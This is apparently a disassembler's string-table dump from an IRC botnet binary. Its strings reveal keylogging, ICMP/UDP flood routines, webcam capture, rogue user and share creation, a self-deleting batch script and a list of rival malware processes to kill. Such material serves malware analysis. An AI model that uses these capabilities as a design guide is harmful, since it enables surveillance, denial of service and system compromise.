sub_405163:loc_4051CBo align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405163+61o align 4 aHttpdFailedT_0 db '[HTTPD]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: sub_4052D1+287o align 4 aHttpdWorkerThr db '[HTTPD]: Worker thread of server thread: %d.',0 ; DATA XREF: sub_4052D1+213o align 4 asc_4239AC: ; DATA XREF: sub_4052D1+16Eo unicode 0, <*>,0 aS_2 db '%s',0 ; DATA XREF: sub_4052D1+31o ; sub_405D62+44o ... align 4 aS_7 db '\%s',0 ; DATA XREF: sub_4052D1+27o aHttpdErrorServ db '[HTTPD]: Error: server failed, returned: <%d>.',0 ; DATA XREF: sub_40558B+3E0o align 4 asc_4239E8 db 0Dh,0Ah,0 ; DATA XREF: sub_40558B+296o align 4 aGet db 'GET ',0 ; DATA XREF: sub_40558B+22Do align 8 aIcmpErrorSendi db '[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return' ; DATA XREF: sub_4059CE+2F2o db 'ed: <%d>.',0 align 8 aIcmpDoneWithSF db '[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s' ; DATA XREF: sub_4059CE+288o db 'ec (%dMB).',0 aIcmpInvalidTar db '[ICMP]: Invalid target IP.',0 ; DATA XREF: sub_4059CE+B6o align 10h aIcmpErrorSetso db '[ICMP]: Error: setsockopt() failed, returned: <%d>.',0 ; DATA XREF: sub_4059CE+8Eo aIcmpErrorSocke db '[ICMP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_4059CE+49o aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_405D62+69o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_405D62+16o ; sub_409848+700o aNotice db 'NOTICE',0 ; DATA XREF: sub_405D62+Fo ; sub_409848+70Eo align 10h aKeylogS db '[KEYLOG]: %s',0 ; DATA XREF: sub_405E13+CFo align 10h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_405E13+A9o align 4 aAb db 'ab',0 ; DATA XREF: sub_405E13+70o ; sub_409848+56FBo align 10h asc_423B60: ; DATA XREF: sub_405E13+36o unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_405F16+223o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_405F16+1DAo align 10h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_405F16+8Eo align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_406217+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_406217+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_406217:loc_406E52o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_406217+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_406217+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_406217+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_406217+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_406217+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_406217+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_406217:loc_406DB4o align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_406217+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_406217+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_406217:loc_406D6Ao aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_406217+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_406217+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_406217+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_406217+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_406217:loc_406CF6o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_406217+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_406217+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_406217:loc_406CACo align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_406217+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_406217+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_406217:loc_406C62o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_406217+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_406217+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_406217+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_406217+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_406217+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_406217+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_406217+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_406217+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_406217+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_406217+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_406217+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_406217:loc_406B57o align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_406217+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_406217+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_406217+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_406217:loc_406AF8o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_406217+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_406217+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_406217+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_406217+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_406217+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_406217+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_406217+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_406217+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_406217+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_406217+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_406217+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_406217:loc_4069D8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_406217+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_406217+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_406217+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_406217+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_406217+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_406217+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_406217+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_406217+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_406217+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_406217+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_406217+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_406217+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_406217+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_406217+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_406217+5D2o ; sub_409848+20C5o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_406217+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_406217+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_406217+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_406217+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_406217+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_406217+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_406217+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_406217+56Ao aSocket db 'socket',0 ; DATA XREF: sub_406217+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_406217+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_406217+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_406217+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_406217+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_406217+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_406217+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_406217+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_406217+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_406217+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_406217+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_406217+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_406217+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_406217+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_406217+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_406217+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_406217+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_406217+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_406217:loc_406626o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_406217:loc_4065FEo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_406217+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_406217+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_406217+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_406217+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_406217+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_406217+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_406217+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_406217:loc_406550o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_406217+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_406217+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_406217:loc_40650Bo align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_406217+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_406217+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_406217+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_406217+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_406217+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_406217+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_406217:loc_406476o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_406217+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_406217+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_406217+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_406217:loc_40640Fo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_406217+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_406217+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_406217+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_406217+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_406217+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_406217+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_406217+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_406217+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_406217:loc_40634Co ; sub_4207EB+13o align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_406217:loc_40631Fo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_406217+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_406217+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_406217+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_406217+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_406217+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_406217+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_406217+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_406217+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_406217+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_406217+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_406217+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_406217+Ao ; sub_41EFD0+1Eo align 4 aMainDllTestCom db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_406EA4+2F2o align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406EA4+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_407369+72o align 10h aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40742E+6o ; sub_411072+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4074B0+1Ao align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407554+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_407576+13Co align 8 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_407576+80o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_407576+43o align 4 aContinued db 'Continued',0 align 4 aContinue_0 db 'Continue',0 align 10h aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 10h aStopped_0 db 'Stopped',0 ; DATA XREF: .text:0042ED3Co aStop_0 db 'Stop',0 ; DATA XREF: .text:0042ED38o align 10h aStarted db 'Started',0 ; DATA XREF: .text:0042ED30o aStart_0 db 'Start',0 ; DATA XREF: .text:0042ED2Co align 10h aListed db 'Listed',0 ; DATA XREF: .text:0042ED24o align 4 aList_1 db 'List',0 ; DATA XREF: .text:0042ED20o align 10h aDeleted db 'Deleted',0 ; DATA XREF: .text:0042ED18o aDelete_0 db 'Delete',0 ; DATA XREF: .text:0042ED14o align 10h aAdded db 'Added',0 ; DATA XREF: .text:off_42ED0Co align 4 aAdd db 'Add',0 ; DATA XREF: .text:off_42ED08o aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4078AC+128o align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4078AC:loc_4079C0o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4078AC:loc_4079B9o align 8 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4078AC:loc_4079B2o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4078AC:loc_4079ABo align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4078AC:loc_4079A4o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4078AC:loc_40799Do align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4078AC:loc_407996o align 8 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4078AC:loc_40798Fo align 10h aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4078AC:loc_407988o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4078AC:loc_407981o align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4078AC:loc_407956o align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4078AC:loc_40794Fo db ' the service.',0 align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4078AC:loc_407948o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4078AC:loc_407941o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4078AC+8Bo align 8 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4078AC:loc_407916o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4078AC:loc_40790Co aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4078AC:loc_407902o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4078AC:loc_4078F8o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4078AC:loc_4078EEo align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4078AC+38o align 4 aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_407A26+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_407A26:loc_407AF5o aStarting db ' Starting',0 ; DATA XREF: sub_407A26:loc_407AEEo aStoping db ' Stoping',0 ; DATA XREF: sub_407A26:loc_407AE7o aRunning db ' Running',0 ; DATA XREF: sub_407A26:loc_407AE0o aContinuing db ' Continuing',0 ; DATA XREF: sub_407A26:loc_407AD9o aPausing db ' Pausing',0 ; DATA XREF: sub_407A26:loc_407AD2o aPaused_0 db ' Paused',0 ; DATA XREF: sub_407A26:loc_407ACBo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_407A26+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_407A26+25o align 4 aNetUserInfoErr db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_407D31+394o align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_407D31+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_407D31+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_407D31+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_407D31+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_407D31+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_407D31+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_407D31+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_407D31+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_407D31+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_407D31+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_407D31+1CBo align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_407D31+1A0o align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_407D31+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_407D31+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_407D31+125o aGuest db 'Guest',0 ; DATA XREF: sub_407D31:loc_407E4Ao align 10h aUser_1 db 'User',0 ; DATA XREF: sub_407D31:loc_407E43o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_407D31:loc_407E3Co align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_407D31+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_407D31+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_407D31+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_407D31+50o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4080FF:loc_408218o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4080FF:loc_408211o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4080FF:loc_40820Ao align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4080FF:loc_408203o align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_4080FF:loc_4081FCo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4080FF:loc_4081DFo db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4080FF:loc_4081D8o align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4080FF:loc_4081D1o align 8 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4080FF+CBo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4080FF:loc_4081A6o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4080FF:loc_40819Fo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4080FF:loc_408198o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4080FF:loc_40818Eo align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4080FF+85o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4080FF:loc_408168o align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4080FF:loc_40815Eo align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4080FF:loc_408154o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4080FF:loc_40814Ao align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4080FF:loc_408140o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4080FF+37o align 4 aNetSServerSMes db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_40822F+A4o align 10h aNetMessageSent db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_40822F+7Co align 4 aNetSNoServiceS db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_4082EB+65o align 4 aNetErrorWithSe db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_4082EB+4Fo aNetSServiceS_ db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4082EB+33o align 4 aNetSNoShareSpe db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_408363+AAo align 4 aNetSShareS_ db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_408363+88o align 10h aNetSErrorWithS db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_408363+56o align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_408421+CEo align 10h aNo db 'No',0 ; DATA XREF: sub_408421+BAo align 4 aYes db 'Yes',0 ; DATA XREF: sub_408421+B3o aNetShareListEr db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_408421+74o align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_408421+1Do align 4 aNetSNoUsername db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_408540+B5o align 4 aNetSErrorWithU db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_408540+93o align 4 aNetSUsernameS_ db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_408540+6Do align 10h aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40860A+144o align 4 aNetAnAccessVio db '[NET]: An access violation has occured.',0 ; DATA XREF: sub_40860A:loc_4086F5o aS_3 db ' %S',0 ; DATA XREF: sub_40860A+B8o align 4 aNetUserListErr db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_40860A+78o align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40860A+1Fo aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0 ; DATA XREF: sub_4087B6:loc_40888Do align 4 aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0 ; DATA XREF: sub_4087B6:loc_40885Eo aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_4087B6:loc_40880Ao aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0 ; DATA XREF: sub_4087B6+44o align 4 aPingFinishedSe db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_40893A+138o align 4 aPingErrorSendi db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_40893A+6Co align 10h aUdpFinishedSen db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_408AC3+1CAo align 4 aUdpErrorSendin db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_408AC3+8Co align 4 aHass_exe db 'hass.exe',0 ; DATA XREF: .text:0042F744o align 4 aWinmp_exe db 'winmp.exe',0 ; DATA XREF: .text:0042F740o align 4 aBling_exe db 'bling.exe',0 ; DATA XREF: .text:0042F73Co align 10h aWuamgrd_exe db 'wuamgrd.exe',0 ; DATA XREF: .text:0042F738o aScguard_exe db 'scguard.exe',0 ; DATA XREF: .text:0042F734o aWinssv_exe db 'winssv.exe',0 ; DATA XREF: .text:0042F730o align 4 aWruaclt_exe db 'WRUACLT.EXE',0 ; DATA XREF: .text:0042F72Co aWuacrlt_exe db 'WUACRLT.EXE',0 ; DATA XREF: .text:0042F728o aWuanclt_exe db 'WUANCLT.EXE',0 ; DATA XREF: .text:0042F724o aMsconfig_exe db 'MsConfiG.exe',0 ; DATA XREF: .text:0042F720o align 4 aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .text:0042F71Co align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .text:0042F718o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .text:0042F714o align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .text:0042F710o align 10h aSsate_exe db 'ssate.exe',0 ; DATA XREF: .text:0042F70Co align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .text:0042F708o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .text:0042F704o align 4 aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .text:0042F700o align 4 aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .text:0042F6FCo aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .text:0042F6F8o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .text:0042F6F4o 